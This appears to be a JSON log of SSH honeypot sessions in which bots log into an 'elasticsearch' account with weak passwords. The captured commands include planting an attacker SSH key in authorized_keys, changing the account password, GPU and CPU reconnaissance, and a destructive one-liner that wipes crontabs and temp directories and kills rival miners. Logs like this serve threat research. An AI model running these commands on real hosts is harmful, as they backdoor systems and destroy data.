{"id":"9045f81a-9116-4ae4-a163-1edf5f52e5a7","name":"foggy-crimson-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":47924,"username":"elasticsearch","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:27:39.747860+00:00","ended_at":"2026-08-27T11:27:40.968013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2229,"events":[{"seq":1,"at":"2026-08-27T11:27:14.410735+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:27:14.674641+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:27:19.104959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:27:20.390802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:27:20.654373+00:00","kind":"input","latency_ms":null,"data":"echo -e \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:27:20.917673+00:00","kind":"input","latency_ms":null,"data":"echo \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:27:21.180903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:27:22.564066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:27:22.596797+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:27:22.861148+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:27:22.935267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:27:24.493030+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:27:24.760476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:27:26.544375+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:27:26.821163+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:27:27.663623+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:27:27.926313+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:27:29.609889+00:00","kind":"output","latency_ms":null,"data":" 11:27:29 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:27:29.876643+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:27:30.737399+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:27:31.003231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:27:32.183213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:27:32.448256+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:27:33.591879+00:00","kind":"output","latency_ms":null,"data":"top - 11:27:33 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:27:33.857196+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:27:35.666574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:27:35.930775+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:27:37.202279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:27:37.468400+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:27:38.364389+00:00","kind":"output","latency_ms":null,"data":"elasticsearch"},{"seq":31,"at":"2026-08-27T11:27:38.630119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:27:39.484511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:27:39.748675+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:27:40.891797+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"58bf3661-251f-4afc-8f03-23eeb6749c02","name":"earnest-amiable-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":43844,"username":"elasticsearch","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:27:17.612478+00:00","ended_at":"2026-08-27T11:27:19.027888+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9d5aaa33-ddf9-4d9d-8d1d-40d7d7213724","name":"wandering-clever-tern","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":49340,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":244,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:58:08.349630+00:00","ended_at":"2026-08-27T02:58:13.447511+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:57:14.875955+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:57:20.748962+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:57:20.993875+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:57:26.750837+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:57:27.089692+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:57:31.192388+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:47"},{"seq":7,"at":"2026-08-27T02:57:31.906634+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:57:35.915682+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:57:36.109919+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:57:39.627146+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:57:40.604647+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:57:46.525789+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:57:47.014148+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:57:51.964683+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:57:52.431938+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:57:55.234879+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:57:55.412968+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:58:00.465741+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:58:00.662405+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:58:04.875054+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:58:05.085771+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:58:08.141067+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:58:08.350168+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:58:13.315627+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"2a34994b-281f-4c23-bd9c-0867a57ab12c","name":"marbled-freckled-marmot","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":37060,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":273,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:47:16.363425+00:00","ended_at":"2026-08-27T02:47:22.164637+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:46:23.504217+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:46:28.634435+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:46:28.908099+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:46:32.189552+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:46:32.418498+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:46:35.259100+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:36"},{"seq":7,"at":"2026-08-27T02:46:35.622136+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:46:39.929259+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:46:40.192895+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:46:45.677803+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:46:45.971948+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:46:48.843404+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:46:49.212281+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:46:54.790009+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:46:55.077439+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:46:59.726942+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:46:59.925779+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:47:04.400132+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:47:05.090065+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:47:11.061895+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:47:11.237123+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:47:16.163321+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:47:16.363911+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:47:21.930461+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"de41c9c5-54ca-4c0c-be17-1e06758522ef","name":"amiable-glassy-vervet","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":33516,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:39:08.474466+00:00","ended_at":"2026-08-27T02:39:10.953062+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"49b0cf2e-5bf6-40cd-a146-56936e925e3f","name":"shaded-ivory-skink","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":54906,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":233,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:39:04.888838+00:00","ended_at":"2026-08-27T02:39:10.954173+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1666,"events":[{"seq":1,"at":"2026-08-27T02:38:00.479448+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:38:05.577352+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:38:05.810894+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:38:08.610220+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:38:08.846642+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:38:14.174993+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:28"},{"seq":7,"at":"2026-08-27T02:38:14.420719+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:38:20.186511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:38:20.386636+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:38:25.424395+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:38:25.710543+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:38:29.953716+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:38:30.118678+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:38:34.663524+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:38:34.833964+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:38:39.027871+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:38:39.462158+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:38:42.750647+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:38:43.109919+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:38:48.246836+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:38:48.465916+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:38:53.304772+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:38:53.520626+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:38:59.385239+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:38:59.581775+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:39:04.890092+00:00","kind":"input","latency_ms":null,"data":"echo elasticsearch > /tmp/d.log"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"fe121eba-714e-4a34-8a1d-f65aa914ac2b","name":"blithe-sleepy-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":39938,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":371,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T13:29:16.915689+00:00","ended_at":"2026-08-26T13:29:21.667151+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T13:28:21.625475+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T13:28:25.698767+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T13:28:26.073614+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T13:28:30.126179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T13:28:30.484031+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T13:28:35.420329+00:00","kind":"output","latency_ms":null,"data":"6 days, 10:18"},{"seq":7,"at":"2026-08-26T13:28:36.577871+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T13:28:41.143245+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T13:28:41.452875+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T13:28:46.621769+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T13:28:46.938405+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T13:28:52.902466+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T13:28:53.514604+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T13:28:57.584905+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T13:28:57.933891+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T13:29:03.175746+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T13:29:03.745258+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T13:29:06.422446+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T13:29:06.662831+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T13:29:10.059583+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T13:29:10.918322+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T13:29:16.544609+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T13:29:16.916511+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T13:29:20.887134+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"elasticsearch","method":"password","accepted":true,"tier":"other"}]} {"id":"d1d946e7-fe9a-41eb-bed6-be8268600949","name":"somber-vigilant-bison","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":46540,"username":"elasticsearch","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T12:40:03.244668+00:00","ended_at":"2026-08-26T12:40:06.291455+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-26T12:39:06.325139+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T12:39:11.836799+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T12:39:12.085381+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T12:39:15.614801+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T12:39:15.919776+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T12:39:19.933673+00:00","kind":"output","latency_ms":null,"data":"6 days, 9:29"},{"seq":7,"at":"2026-08-26T12:39:20.264946+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T12:39:25.956939+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T12:39:26.808553+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T12:39:31.357170+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T12:39:31.669928+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T12:39:36.017525+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T12:39:36.235099+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T12:39:41.699897+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T12:39:42.332104+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T12:39:46.083710+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T12:39:47.360445+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T12:39:52.522567+00:00","kind":"output","latency_ms":null,"data":" Product Name : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T12:39:52.918702+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T12:39:57.863143+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T12:39:59.112034+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T12:40:02.923319+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T12:40:03.245463+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T12:40:06.115757+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"elasticsearch","password":"123456","method":"password","accepted":true,"tier":"other"}]} 